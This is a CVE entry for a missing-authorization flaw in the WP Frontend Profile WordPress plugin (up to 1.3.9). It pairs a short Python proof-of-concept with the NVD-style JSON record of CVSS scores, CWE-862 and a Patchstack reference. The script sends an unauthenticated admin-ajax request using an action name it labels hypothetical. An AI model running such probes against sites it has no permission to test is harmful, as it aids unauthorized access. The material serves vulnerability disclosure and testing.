CVE-2026-39688

import requests def check_missing_authorization(target_url): """ PoC for CVE-2026-39688: Missing Authorization in WP Frontend Profile This script attempts to access a restricted endpoint without authentication. """ # The vulnerable endpoint might vary, typically an AJAX action or direct file access # Example endpoint (replace with actual vulnerable endpoint found during analysis) exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload simulating the action that should be protected payload = { "action": "wp_frontend_profile_update", # Hypothetical action name "data": "test_data" } try: # Send request without cookies/session (unauthenticated) response = requests.post(exploit_url, data=payload, timeout=10) # Check if the request was successful (indicating missing authorization) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Vulnerability confirmed! Authorization check missing.") print(f"[+] Response: {response.text[:100]}") else: print("[-] Vulnerability not detected or endpoint requires auth.") print(f"[-] Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target check_missing_authorization(target)

{"cve": {"id": "CVE-2026-39688", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:40.790", "lastModified": "2026-04-29T10:17:40.693", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Glowlogix WP Frontend Profile wp-front-end-profile allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Frontend Profile: from n/a through <= 1.3.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-front-end-profile/vulnerability/wordpress-wp-frontend-profile-plugin-1-3-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}